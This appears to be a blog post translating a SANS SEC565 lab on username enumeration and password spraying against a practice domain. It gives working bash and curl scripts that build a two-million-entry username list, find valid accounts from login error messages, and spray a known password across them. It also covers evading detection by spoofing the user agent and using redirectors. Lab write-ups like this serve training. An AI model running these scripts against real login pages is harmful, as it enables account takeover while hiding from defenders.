sans sec 565 Red Team Operations and Adversary Emulation - 红队运营和对手仿真 之 565.1 Lab 1.4:奖金!用户名枚举和密码喷射

发布时间 2023-12-20 20:32:21作者: sec875

565.1 Lab 1.4:用户名枚举和密码喷射

目标
用户名枚举以发现其他有效用户
使用已知密码对新发现的账户进行喷洒

本实验室模拟的 TTP
T1594 - Search Victim-Owned Websites
T1078 - Valid Accounts
T1087.003 - Account Discovery: Email Account
T1110.001 - Brute Force: Password Guessing
T1110.003 - Brute Force: Password Spraying

sudo openvpn ~/Desktop/sec565-labs-range.ovpn

image

ping -c 4 draconem.io
curl draconem.io | head

演练部分:

  1. 作为可选的奖励实验室,让我们利用网站中的信息泄露和缺乏速率限制来枚举其他可能的用户。 首先,我们收集 SecLists 项目中美国排名前 1,000 个的姓氏或姓氏,以及 1,000 个排名前的女性名字和 1,000 个排名前的男性名字。 有许多单词列表可供选择,这些单词列表是根据目标情报选择的。 该公司总部位于美国,我们已经看到的用户都有美国名字。 请记住,此技术不会涵盖更多独特的国际名称。
cd /labs/sec-1/recon
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/familynames-usa-top1000.txt -o familynames.txt
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/femalenames-usa-top1000.txt -o femalenames.txt
curl https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/malenames-usa-top1000.txt -o malenames.txt
  1. 使用嵌套 while 循环,我们可以通过将两个 1,000 个列表中的每个名字与 1,000 个列表中的每个姓氏连接起来来创建新的用户名单词列表。 简单的数学计算表明,我们总共应该有 200 万个用户名 (1,000 * 2,000)。 这是很多请求,但我们有能力在不影响系统的情况下继续发送请求。 尽管这会在 Web 服务器日志中捕获,但只要我们使用重定向器或代理,此活动就不应该与我们的其他红队参与活动相关联。 我们将在 SEC565 的第二节中探讨重定向器和代理。 根据目标组织的不同,这些请求可以分布在多个重定向器上,并在较长的时间内缓慢尝试。 另外,从防守者的角度来看另一个注意事项; 此类活动在互联网上不断被发现。 由于存在这些噪音,防御者可能很难看到您的身份验证尝试。 让我们使用 bash 中的 while 循环策略来创建新的单词列表。 我们首先循环我们的 Femalenames.txt 并有一个 familynames.txt 的内部循环。 在每次迭代中,我们将两个名称之间用句点 (.) 连接起来,以匹配用户名格式。
while read first;
  do while read last;
    do echo $first.$last >> usernames.txt;
    done < familynames.txt;
  done < femalenames.txt
while read first;
  do while read last;
    do echo $first.$last >> usernames.txt;
    done < familynames.txt;
  done < malenames.txt
wc -l usernames.txt
head -n 5 usernames.txt

image

  1. 我们可以看到我们有预期的 200 万个用户名。 还有两个需要考虑的事项。 我们的列表全部是大写字符,尽管用户名不应该区分大小写,但我们希望将其更改为小写字符,因为我们之前的测试显示所有小写用户名都成功。 此外,姓氏是唯一的,但某些名字可能同时存在于女性和男性单词列表中。 为了减少身份验证尝试的次数,我们需要一个唯一的用户名列表。
sort -u usernames.txt | wc -l
sort -u usernames.txt > usernames-uniq.txt
  1. 我们将使用四种方法将字符更改为全部小写。 为了测量效率,我们将使用时间实用程序,它将为我们提供每个命令的运行时间。 正确的答案是使用任何有效的方法,但最好的答案是尽可能高效,并知道还有其他选项可以产生相同的效果。 tr 或translate 采用简单的规则集并根据这些规则影响数据。 sed 或流编辑器需要更长的时间,因为它功能更强大,但随之而来的开销也更大。 awk 或模式扫描和处理语言也具有巨大的功能,但在这种情况下似乎更有效,因为它的逻辑更简单。 sed 是模式匹配,而 awk 只是将函数应用于它处理的每一行。
# testing efficiencies
time tr '[:upper:]' '[:lower:]' < usernames-uniq.txt > /dev/null

time tr A-Z a-z < usernames-uniq.txt > /dev/null

time sed 's/.*/\L&/g' < usernames-uniq.txt > /dev/null

time awk '{print tolower($0)}' < usernames-uniq.txt > /dev/null

# create new list
time tr '[:upper:]' '[:lower:]' < usernames-uniq.txt > usernames-lower-unique.txt

wc -l usernames-lower-unique.txt

image

  1. 现在我们准备通过向 Web 服务器发送另外 1,921,000 个请求来发现更多有效用户名。 下面的脚本应该看起来很熟悉,花点时间阅读并理解每一行。 我们可以使用用户名作为文件名,因为所有用户名都是唯一的,并且不包含与 Linux 文件系统冲突的特殊字符。 在发送所有 190 万个用户名之前,我们将在较小的单词列表上尝试一些方法。 当我们对最有效的方法感到满意后,我们将遍历整个单词列表。 首先我们来分析一下错误的用户名和错误的密码之间的区别。
curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=seth.duncan&password=wrongpassword&submit=" | grep "<h4>"

响应是<h4>密码无效</h4>

curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=wrongusername&password=wrongpassword&submit=" | grep "<h4>"

响应是<h4>未找到具有该用户名的帐户。</h4>

让我们将近 200 万个用户名截断为 500 个,以检查我们的方法。

head -n 500 usernames-lower-unique.txt > usernames-lower-unique.tmp

用户名的顺序检查非常慢。

rm attempts/*

time while read u; do
  curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>" >> attempts/$u
done < usernames-lower-unique.tmp

ll attempts/ | wc -l

通过分叉并行检查用户名要快得多。

rm attempts/*

time while read u; do
  (curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>" >> attempts/$u &)
done < usernames-lower-unique.tmp

ll attempts/ | wc -l

通过分叉并行检查用户名,并且仅在 HTTP 响应上出现字符串 <h4>Invalid password</h4> 时才触及文件,速度更快,并且生成的文件更少。

rm attempts/*

time while read u; do
  (curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>Invalid password</h4>" && touch attempts/$u &)
done < usernames-lower-unique.tmp

ll attempts/ | wc -l

最后,让我们看看创建的文件。

ll attempts/

image

  1. 我们刚刚找到一个有效的用户帐户! 当我们以 aaron.hogan 作为用户名发送请求时,我们得到了我们正在寻找的字符串。 在测试了不同的方法之后,我们准备从 200 万个可能的用户名列表中枚举其余用户。 这将需要相当长的时间。 您可以在屏幕截图中看到,花了近三个小时才排完列表,但结果令人惊讶! 我们发现了七个新用户。
rm attempts/*

time while read u; do
  (curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=$u&password=ThisCantPossiblyBeACorrectPassword&submit=" | grep "<h4>Invalid password</h4>" && touch attempts/$u &)
done < usernames-lower-unique.txt

ll attempts

image

  1. 我们的最终任务是使用之前发现的密码“S3@S3rp3nt”并测试每个新用户。 首先,使用一些 Bash-fu 创建新的用户名列表。 我们获取目录列表,用 tr " " "\n" 替换所有空格并用新行替换,然后对列表进行唯一排序。 然后是一个简单的顺序循环来检查用户名,这次我们只是将结果打印到屏幕上。
ls attempts/ | tr " " "\n" | sort -u > newusers.txt

while read u; do
  echo -n $u; curl -ski 'http://www.draconem.io/onboarding/' --data-raw  "username=$u&password=S3@S3rp3nt&submit=" | grep "<h4>"
done < newusers.txt

image

现在我们可以看到两个用户共享相同的密码。 omar.santos 和 seth.duncan 都有相同的密码 S3@S3rp3nt!

  1. 在结束这个额外实验之前,让我们探讨一下对于防御者来说 Web 服务器日志可能是什么样子。 我们的目标是运行 php 的 apache2 服务器。 默认情况下,日志存储在/var/log/apache2中。 有一个 access.log 跟踪每个 Web 请求,还有一个 error.log 跟踪任何服务器错误。 经过暴力破解后,我们看到一个 212MB 的 ASCII 文本日志文件。 查看日志的末尾,我们看到来自curl 客户端的大量请求。 这对于防守者来说会立即引人注目。 如果我们使用相同的源 IP,它会出现近 200 万次。 如果目标具有成熟的日志分析,那么我们希望将尝试分布在许多服务器上以避免显示模式,我们还将限制发出请求的速度。 无论成熟度级别如何,我们还希望将curl客户端的用户代理字符串设置为流行的用户代理,以掩盖我们工具的使用。

审查如下,不予执行:

root@draconem.io:/# ls -alh /var/log/apache2/access.log
-rw-r--r-- 1 www-data www-data 212M Feb 28 00:32 /var/log/apache2/access.log
root@draconem.io:/# tail -n 30 /var/log/apache2/access.log
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
x.x.x.x - - [28/Feb/2022:00:32:13 +0000] "POST /onboarding/ HTTP/1.1" 200 4957 "-" "curl/7.58.0"
  1. 我们可以通过提供 HTTP 标头来设置用户代理:
curl 'http://www.draconem.io/onboarding/' -X POST -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1' --data-raw "username=$u&password=S3@S3rp3nt&submit="

使用 -A 或 --user-agent 命令行开关

curl 'http://www.draconem.io/onboarding/' -X POST -A 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1' --data-raw "username=$u&password=S3@S3rp3nt&submit="

或者我们最推荐的选项,在用户主目录的 .curlrc 文件中设置用户代理。

echo "user-agent = \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1\"" >> ~/.curlrc

现在日志文件将显示:

x.x.x.x - - [28/Feb/2022:02:52:19 +0000] "POST /onboarding/ HTTP/1.1" 200 4947 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1"

在本实验中,您通过基于三个大型单词列表安装大规模用户名暴力破解来扩展密码攻击。 了解用户格式后,您创建了一个包含近两百万个用户名的自定义单词列表。 您尝试了各种技术来找到执行攻击的最佳方法。 经过三个小时的暴力破解,您发现了另外七个用户名,并将已知凭据与新用户进行了匹配。 最后,我们研究了网络服务器日志对于防御者来说可能是什么样子,以及我们如何更好地融入其他流量。